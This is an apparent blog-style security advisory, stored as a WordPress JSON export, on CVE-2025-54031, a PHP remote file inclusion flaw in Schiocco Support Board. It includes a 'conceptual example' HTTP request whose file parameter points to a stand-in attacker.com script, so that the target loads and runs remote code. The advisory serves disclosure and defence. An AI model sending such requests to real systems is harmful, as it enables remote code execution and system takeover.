{"id":72058,"date":"2025-09-06T19:03:53","date_gmt":"2025-09-06T19:03:53","guid":{"rendered":""},"modified":"2025-11-02T15:26:18","modified_gmt":"2025-11-02T21:26:18","slug":"cve-2025-54031-critical-php-remote-file-inclusion-vulnerability-in-schiocco-support-board","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54031-critical-php-remote-file-inclusion-vulnerability-in-schiocco-support-board\/","title":{"rendered":"<strong>CVE-2025-54031: Critical PHP Remote File Inclusion Vulnerability in Schiocco Support Board<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is constantly evolving with new threats and vulnerabilities emerging every day. One such vulnerability with a high severity score that has recently come to light is CVE-2025-54031. This vulnerability specifically impacts Schiocco Support Board, a popular PHP-based software, and has the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"79956\">potential to wreak havoc if exploited<\/a> by malicious attackers. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8730-critical-vulnerability-in-belkin-routers-due-to-hard-coded-credentials\/\"  data-wpil-monitor-id=\"81070\">vulnerability caught the attention of cybersecurity professionals due<\/a> to its high CVSS Severity Score of 8.1, indicating its potential for significant damage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54031<br \/>\nSeverity: Critical (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53763-improper-access-control-in-azure-databricks-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79811\">System compromise or potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2369153642\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Schiocco <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4828-arbitrary-file-deletion-vulnerability-in-support-board-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"92266\">Support Board<\/a> | Up to and including 3.8.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability CVE-2025-54031 involves an insecure handling of filenames in PHP&#8217;s Include\/Require Statement, which can lead to PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80507\">File Inclusion<\/a> (RFI). An attacker can exploit this flaw by manipulating the Include\/Require Statement to load a remote file from a server of their choosing, allowing them to run <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43577-use-after-free-vulnerability-in-acrobat-reader-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80143\">arbitrary PHP code<\/a> within the application&#8217;s context. This can lead to a full takeover of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41527-sql-injection-vulnerability-in-hospital-management-system-v4\/\"  data-wpil-monitor-id=\"79628\">system running the vulnerable<\/a> application.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1304086903\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example showing how an attacker might leverage this vulnerability. Please note that this is a simplified representation and actual exploit may require more complex manipulations.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/support-board\/index.php?file=http:\/\/attacker.com\/malicious-code.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker has manipulated the `file` parameter to load a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81088\">PHP<\/a> script (`malicious-code.php`) from their server (`attacker.com`). This script is then executed in the context of the vulnerable application, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79714\">potentially leading to a system<\/a> compromise.<\/p>\n<p><strong>Remediation<\/strong><\/p>\n<p>To mitigate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30403-heap-buffer-overflow-vulnerability-in-mvfst-impacts-quic-sessions\/\"  data-wpil-monitor-id=\"82320\">impact of this vulnerability<\/a>, it is advised to apply the vendor&#8217;s patch once it is available. Until then, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be effective temporary measures to prevent potential exploitation. It is also recommended to follow a principle of least privilege, ensuring that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27216-privilege-escalation-in-uisp-application-due-to-incorrect-permission-assignment\/\"  data-wpil-monitor-id=\"84391\">applications only have the minimal privileges<\/a> they require to function.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is constantly evolving with new threats and vulnerabilities emerging every day. One such vulnerability with a high severity score that has recently come to light is CVE-2025-54031. This vulnerability specifically impacts Schiocco Support Board, a popular PHP-based software, and has the potential to wreak havoc if exploited by malicious attackers. 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